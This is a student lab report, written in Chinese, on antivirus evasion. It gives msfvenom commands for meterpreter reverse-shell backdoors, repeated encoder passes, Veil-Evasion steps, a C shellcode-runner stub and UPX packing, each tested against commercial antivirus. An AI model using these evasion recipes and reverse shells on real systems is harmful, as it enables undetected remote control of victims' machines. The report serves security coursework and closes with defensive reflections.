一.免杀原理与基础知识:
  (1)杀软是如何检测出恶意代码的?
    检测特征码:特征码就是一般程序都不会有的代码,而后门有的那种特别的数据,而一个程序,应用有这种代码,数据的话,就直接判定为恶意代码。
          主流的后门生成一般都在检测的库里面,主要还是检测一段数据与代码
    
    启发式恶意软件检测:看这个软件,程序的特点啥,看他的特征是不是一个正常应用程序很想,如果不是就判断为恶意代码,很笼统,不咋精确
    基于行为的恶意软件检测:在启发式的基础上加了行为监控,看他到底干了啥,监控他的行为,通过程序的运行来判断是不是恶意代码
  (2)免杀是做什么?
    免杀就是在其他机器上放一个后门进去,能够不被杀软给检测到他是一个后门,让后门成功潜伏下来
    主要用于对系统进行渗透测试。
  (3)免杀的基本方法有哪些?
    从第一个问题出发,只要绕过杀软的检测就可以成功免杀
      对于检测特征码:
        可以对.exe文件进行加壳处理,压缩或者加密的方式改变特征码
        对于有代码的后门来说,可以利用编码器进行多次编码,也可以将代码用其他的编程语言实现,重编译
      对于启发式以及行为检测:
        可以反弹连接,绕过防火墙等的检测
        可以加密数据,防止你检测数据,也可以使用IPSec协议进行二次封装,防止检测用户数据
        操作的时候尽量少的修改系统文件,也可以让自己的后门实现一些正常的功能
    

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

先来看看我们在实验2生成后门文件,看看那个没有任何免杀处理的普通后门程序被杀软检测的情况:

看来,这种后门基本会被检测出来。

   1. 正确使用msf编码器,生成exe文件
     首先使用msfvenom -l encoders 查看编码器,来决定使用什么编码器进行处理

  实用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.171.130 LPORT=5335 -f exe > encodedone.exe指令生成一个一次编码的后门

  -e选择编码器,-b表示payload去掉的字符,因为\x00表示字符串结束,防止在中途被判定为结束

  扫描结果如下:

效果很一般!

那么,多编码几次试试,看看多次又没有效果:

十次编码使用命令:-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.171.130 LPORT=5335 -f exe > encodedtwo.exe

貌似.....也就那样,既然编码,就会有解码,只要检测解码的特征码,还算比较容易检测的,效果还是不理想 

 2. msfvenom生成jar文件

  生成java后门程序使用命令:
  msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.171.130 LPORT=5335 x> backdoorjava.jar

还是不会被多数的抓到

生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.171.130 LPORT=5335 x> phpbackdoor.php

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.171.130 LPORT=5335 x> pybackdoor.py

用php二次编码效果计较显著

生成python文件

python的效果也比较好吧

看来,php能检测出来的不是很多哈......可能是因为java,python比较常用

kali中指令输入如下:

3. 使用veil-evasion生成后门程序及检测

  1.安装veil

  由于安装的版本为18版本,先进行更新

  mkdir -p ~/.cache/wine

  cd ~/.cache/wine wget

  http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget

  http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

    在使用sudo apt-get install veil-evasion指令安装veil

    安装完毕后,输入veil指令:

说明安装已成功

用usre evasion进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.171.136,此处的IP是KaliIP

输入generate生成文件,然后给payload起一个名字

检测结果如下:

半手工注入Shellcode并执行

  使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.136 LPORT=5335 -f c指令产生代码,然后半手工修改

  出现以下的代码:

创建文件,并将C代码输入字符串中:

unsigned char buf[] = "将获得的字符串粘贴";

int main()

{

  int (*func)() = (int(*)())buf;

   func();

      }

使用命令i686-w64-mingw32-g++ 20165335outdoor.c -o 20165335outdoor.exe编译,生成一个.exe文件

将后门进行检测:

任务二:通过组合应用各种技术实现恶意代码免杀

  在实验1中所生成的所有后门中,veil生成的后门outdoorone在进行杀软检测时,依旧会被很多杀软杀出来,但也逃过了一些杀软的检测,所以我就想对后门outdoorone.exe在进行进一步的加工处理

  使用veil,python/meterpreter/rev_tcp.py 生成可执行文件,再用UPX加壳。

  使用UPX压缩壳进行二次改造

  使用的测试对象为win7虚拟机,安装的杀软为腾讯电脑管家

加壳尝试

  我们对之前生成的outdoorone进行加壳处理
  

  偷偷把他放在腾讯安全卫士保护下的win7中,让安全卫士安排一下这个小后门,看看有什么反应。

  

  并没有发现,再把它检测一下:

  

  看来TX不太行啊

  反弹连接试一下行不行

  

  ok,看来可以实现

3:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  这个没有实现....免杀失败,被360安排的明明白白,接收后门文件扫描没啥被抓出来,在反弹连接的连接的时,被控主机反弹连接的时候被抓到提示非法连接,猜测是根据主机主动连接一个地址被抓进小黑屋了,哎难受,太菜了......

实践总结与体会

  在本次的实践中,自己动手对实验2中的简单后门进行更加完善的处理,使得一个后门程序可以躲过杀软,对veil这个工具进行了尝试,同时对杀软的工作原理有了更加深刻的了解

  同时,熟悉并且使用了使用VirusTotal、Virscan等工具,也能狗更好的应对后门,对刘老师上课讲到了一些免杀技术,经过自己的试验后,有了更加深刻的理解
  同时,我也认识应当进一步提高安全意识,从正规网站下载,防止后门植入,同时,在看到一些要求关闭杀软的应该加以警惕。

开启杀软能绝对防止电脑中恶意代码吗?

  通过自己的实践,发现杀软对有些后门程序无法做到检测,但对于大多数的简单后门还是有防御作用。

  不同的杀软之间,对于恶意代码的检测还是有所区别,不同版本的杀软的效果也有很大差异

  还是应该i提高自身安全意识,及时的更新杀软

离实战还缺些什么技术或步骤?

  首先时确定主机,我们在实验中的主机都在同一个网段,同时,自己知道IP,并保证主机状态稳定,而真实的实战未必主机活跃并且也需要嗅探器去安排获得IP

  还有就是后门的自启动问题,实战时候的被控主机毕竟不会自己去开后门,自启动上还是有所不足

2018-2019-2 网络对抗技术 20165335 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. Module(CP343-1)Advanced system error SDB generation Error in rule file or rule file not found

    报这个故障的原因是因为安装目录下缺少三个 err文件.只要从好的目录下拷贝过来即可. C:\Program Files (x86)\SIEMENS\Step7\s7wbx\rul

  2. Node.js_express_搭建一个服务器

    原生 node 服务器 1. 导入 node.js 核心模块  / 自带模块 :   http const http = require('http'); // HTTP 库所具有的功能已经赋给了 h ...

  3. redis的编译安装

    参考文献 https://www.cnblogs.com/JiangLe/p/5878160.html https://www.cnblogs.com/stulzq/p/9288401.html re ...

  4. Go语言基础之切片

    Go语言基础之切片 本文主要介绍Go语言中切片(slice)及它的基本使用. 引子 因为数组的长度是固定的并且数组长度属于类型的一部分,所以数组有很多的局限性. 例如: func arraySum(x ...

  5. maven和glassfish安装和部署及hello1和hello2的部署

    1.安装maven和glassfish及配置环境变 首先搜索并下载maven3.6.0和glassfish4.1.1(版本看按需要选择). 点击安装包进行安装 安装完成后开始配置环境变量 打开系统环境 ...

  6. python学习-01

    1.编程语言分类: 编译型:(由编译器将代码编译成计算机识别的二进制文件)C \C++ \C#    运行速度较解释型语言快 解释型:(在运行时进行编译)python.php.sheel.ruby.j ...

  7. [POI2002][HAOI2007]反素数(Antiprime)

    题目链接 这道题需要用到整数唯一分解定理以及约数个数的计算公式.这里我就不再阐述了. 公式可以看出,只有指数影响约数个数,那么在唯一分解出的乘式中,指数放置的任何位置都是等价的.(即 23*34*57 ...

  8. 记一次FileZillaServer提权

    前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的.在后台通过“产品图片 ...

  9. Python全栈-magedu-2018-笔记7

    第三章 - Python 内置数据结构 线性结构 线性结构 可迭代 for ... in len()可以获取长度 通过下标可以访问 可以切片 学过的线性结构 列表.元组.字符串.bytes.bytea ...

  10. CS(计算机科学)知识体

    附 录 A                   CS( 计算机科学)知识体 计算教程 2001 报告的这篇附录定义了计算机科学本科教学计划中可能讲授的知识领域.该分类方案的依据及其历史.结构和应用的其 ...